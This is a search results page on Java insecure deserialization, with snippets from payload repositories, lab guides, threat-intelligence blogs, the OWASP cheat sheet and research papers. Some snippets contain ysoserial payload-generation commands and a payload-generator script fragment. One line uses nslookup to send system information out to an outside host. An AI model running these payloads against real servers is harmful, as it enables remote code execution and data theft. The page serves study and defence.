GitHub
github.com › swisskyrepo › PayloadsAllTheThings › blob › master › Insecure Deserialization › Java.md
PayloadsAllTheThings/Insecure Deserialization/Java.md at master · swisskyrepo/PayloadsAllTheThings
Payload generators for the following marshallers are included: ... Multiple libraries can be used to handle JSON in Java. ... Jackson is a popular Java library used for working with JSON (JavaScript Object Notation) data. Jackson-databind supports Polymorphic Type Handling (PTH), formerly known as "Polymorphic Deserialization", which is disabled by default.
Author swisskyrepo
Payloads All The Things
swisskyrepo.github.io › PayloadsAllTheThings › Insecure Deserialization › Java
Java Deserialization - Payloads All The Things
Payload generators for the following marshallers are included: Multiple libraries can be used to handle JSON in Java. ... Jackson is a popular Java library used for working with JSON (JavaScript Object Notation) data. Jackson-databind supports Polymorphic Type Handling (PTH), formerly known as "Polymorphic Deserialization", which is disabled by default.
GitHub
github.com › frohoff › ysoserial
GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. · GitHub
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. - frohoff/ysoserial
Starred by 8.8K users
Forked by 1.9K users
Languages Java 99.8% | Dockerfile 0.2%
Coalfire
coalfire.com › home › coalfire articles › exploiting blind java deserialization with burp and ysoserial
Exploiting Blind Java Deserialization with Burp and… | Coalfire
February 18, 2025 - import os import re import base64 import urllib payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2'] def generate(name, cmd): for payload in payloads: final = cmd.replace('REPLACE', payload) print 'Generating ' + payload + ' for ' + name + '...' command = os.popen('java -jar ../ysoser
PortSwigger
portswigger.net › web-security › deserialization › exploiting › lab-deserialization-exploiting-java-deserialization-with-apache-commons
Lab: Exploiting Java deserialization with Apache Commons | Web Security Academy
For example: java -jar ysoserial-all.jar \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \ [payload] '[command]'
Google Cloud
cloud.google.com › blog › topics › threat-intelligence › hunting-deserialization-exploits
Now You Serial, Now You Don’t — Systematically Hunting for Deserialization Exploits | Google Cloud Blog
March 25, 2024 - Projects such as YSoSerial (Java) and YSoSerial .NET (C#) consolidate public research on successful gadget chains for common libraries and make it easy for anyone to generate a payload with one of these chains. This is then encoded and can be passed to servers with deserialization bugs.
OWASP Cheat Sheet Series
cheatsheetseries.owasp.org › cheatsheets › Deserialization_Cheat_Sheet.html
Deserialization - OWASP Cheat Sheet Series
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature. ... A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
Techbrunch
techbrunch.github.io › patt-mkdocs › Insecure Deserialization › Java
Java Deserialization - Payloads All The Things
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
PortSwigger
portswigger.net › web-security › deserialization › exploiting
Exploiting insecure deserialization vulnerabilities | Web Security Academy
If it does, you can be sure that deserialization occurred on your target. JRMPClient is another universal chain that you can use for initial detection. It causes the server to try establishing a TCP connection to the supplied IP address. Note that you need to provide a raw IP address rather than a hostname. This chain may be useful in environments where all outbound traffic is firewalled, including DNS lookups. You can try generating payloads with two different IP addresses: a local one and a firewalled, external one.
K logix
klogixsecurity.com › scorpion-labs-blog › gadget-chains
Java Deserialization Gadget Chains
May 22, 2024 - I will walk through the CommonsCollections1 gadget chain from Ysoserial, probably the most well-known tool for Java deserialization attacks. It's best to read this article with some understanding of what Java reflection is. So, I invite you to do a little research into that if you are unfamiliar. It's also important to note that this is a very old payload, so that I will be referring to the code from JDK 1.8.0_60.
HackTricks
book.hacktricks.xyz › pentesting-web › deserialization
Deserialization | HackTricks
August 12, 2024 - The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example). Note that this tool is focused on exploiting ObjectInputStream. I would start using the "URLDNS" payload before a RCE payload to test if the injection is possible.
Snyk Learn
learn.snyk.io › home › security education › insecure deserialization | tutorials & examples
Insecure Deserialization | Tutorials & Examples | Snyk Learn
March 25, 2022 - A critical condition for insecure deserialization is that the hacker can force the server to deserialize objects of any type. The hacker can then send payloads with objects instantiated from gadget classes.
GitHub
github.com › GrrrDog › Java-Deserialization-Cheat-Sheet
GitHub - GrrrDog/Java-Deserialization-Cheat-Sheet: The cheat sheet about Java Deserialization vulnerabilities · GitHub
javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Starred by 3.2K users
Forked by 601 users
GitHub
github.com › Jake-Schoellkopf › Insecure-Java-Deserialization
GitHub - Jake-Schoellkopf/Insecure-Java-Deserialization · GitHub
Specifically, it controls how the library includes type information when serializing Java objects into JSON format and how it uses type information when deserializing JSON back into Java objects. With default typing enabled, an attacker can craft malicious JSON payloads that specify arbitrary Java classes for deserialization.
Author Jake-Schoellkopf
ACM Digital Library
dl.acm.org › doi › 10.1145 › 3554732
An In-depth Study of Java Deserialization Remote-Code Execution Exploits and Vulnerabilities | ACM Transactions on Software Engineering and Methodology
Executing these requests enables to detect if the web server is vulnerable to known attacks. If one of the payloads is executed it means that a vulnerability has been executed and that the web server needs to be patched. Frohoff et al. [22] have implemented the ysoserial tool which provides 34 publicly available Java deserialization payloads.
MDPI
mdpi.com › 2079-9292 › 15 › 5 › 954
LLM-JDFuzz: A Large Language Model-Based Automated Java Deserialization Payload Generation Framework
February 26, 2026 - This paper presents LLM-JDFuzz, the framework that leverages Large Language Models for automated Java deserialization payload generation. By reframing payload generation as a constraint-aware code synthesis problem, LLM-JDFuzz introduces three key innovations: (1) an Autoprompting engine that ...